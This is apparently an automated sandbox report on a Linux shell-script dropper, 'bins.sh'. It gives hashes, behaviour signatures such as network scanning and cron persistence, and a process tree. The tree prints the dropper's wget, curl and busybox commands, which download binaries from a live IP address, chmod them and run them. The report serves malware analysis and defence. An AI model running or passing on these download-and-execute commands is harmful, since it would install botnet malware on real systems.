Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240418-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
09-11-2024 05:09
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240729-en
General
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Target
bins.sh
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Size
10KB
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MD5
3161c78707f178deb4c81f884eb712fc
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SHA1
823bd6621021135792463154ec8887b83970fe1a
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SHA256
d16d7fa2defffc526b1f8dcbe3f082ac5cd8d1015d2bcda576076b922eea8d30
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SHA512
ed1bbdc75c2aaccc1993ec236a20df1126eeac8b163258f90dd688b64654c7dea551d09fa356355f51e8d16a4764514cdd35b5997cd8844aaec73361ed0b160a
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SSDEEP
192:ZwEmNFBkT9fnNQs+E+9Q8bcfnPa2og8V4brwEmNFKVfnNQs1AQ88fnPa2sg8q:ZwEmNFBkT9fnNQs+E+Ttg8V4brwEmNFy
Malware Config
Signatures
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Contacts a large (2223) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodpid process 785 chmod 915 chmod 932 chmod -
Executes dropped EXE 3 IoCs
Processes:
d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQURkLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AMioc pid process /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR 787 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU 917 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM 933 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM -
Renames itself 1 IoCs
Processes:
d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQURpid process 788 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.USIQdw crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQURdescription ioc process File opened for reading /proc/1151/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1173/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1255/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1260/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1278/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1312/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/873/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1029/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1336/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1256/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/995/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1241/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1100/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1349/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1112/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1204/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1339/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/862/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/867/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1226/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/861/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1209/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/902/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1043/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1087/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1289/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/835/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/874/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1073/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1130/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1194/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1308/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/732/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/990/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/993/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1105/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1351/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/811/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/863/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1033/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1068/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1020/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1251/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1330/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/813/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1001/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1012/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1108/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1119/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1176/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/895/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/925/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1340/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1249/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1263/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1342/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1076/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1114/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1296/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1146/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1247/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/865/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/882/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1269/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR -
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxbusyboxbusyboxdescription ioc process File opened for modification /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR wget File opened for modification /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR curl File opened for modification /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR busybox File opened for modification /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU busybox File opened for modification /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:739
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/bin/rm/bin/rm bins.sh2⤵PID:742
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/usr/bin/wgetwget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Writes file to tmp directory
PID:747 -
/usr/bin/curlcurl -O http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Writes file to tmp directory
PID:768 -
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Writes file to tmp directory
PID:779 -
/bin/chmodchmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- File and Directory Permissions Modification
PID:785 -
/tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:787 -
/bin/shsh -c "crontab -l"3⤵PID:789
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/usr/bin/crontabcrontab -l4⤵PID:790
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/bin/shsh -c "crontab -"3⤵PID:792
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:793 -
/bin/rmrm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵PID:804
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/usr/bin/wgetwget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵PID:889
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/usr/bin/curlcurl -O http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵PID:891
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵
- Writes file to tmp directory
PID:903 -
/bin/chmodchmod 777 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵
- File and Directory Permissions Modification
PID:915 -
/tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU./kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵
- Executes dropped EXE
PID:917 -
/bin/rmrm kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵PID:919
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/usr/bin/wgetwget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM2⤵PID:920
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/usr/bin/curlcurl -O http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM2⤵PID:926
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM2⤵
- Writes file to tmp directory
PID:927 -
/bin/chmodchmod 777 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM2⤵
- File and Directory Permissions Modification
PID:932 -
/tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM./4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM2⤵
- Executes dropped EXE
PID:933 -
/bin/rmrm 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM2⤵PID:935
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/usr/bin/wgetwget http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi2⤵PID:940
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
210B
MD54fe2ad83589d6a90ee24370b3770a6de
SHA1de296bc06add14ffe6dd68adc4c665bd2622e734
SHA256befc7c85a51638d5d9d791b7ca8dd9e5129e51a7aa0345e0af185ef39169b692
SHA512d7423692c58a0041175c9ae8649763f346bcf0942383861ed5838b6d807ce59985c8538ed20c00635ac5ceefd815a5994a5b4c5e43ba99d005d8313e62eca75e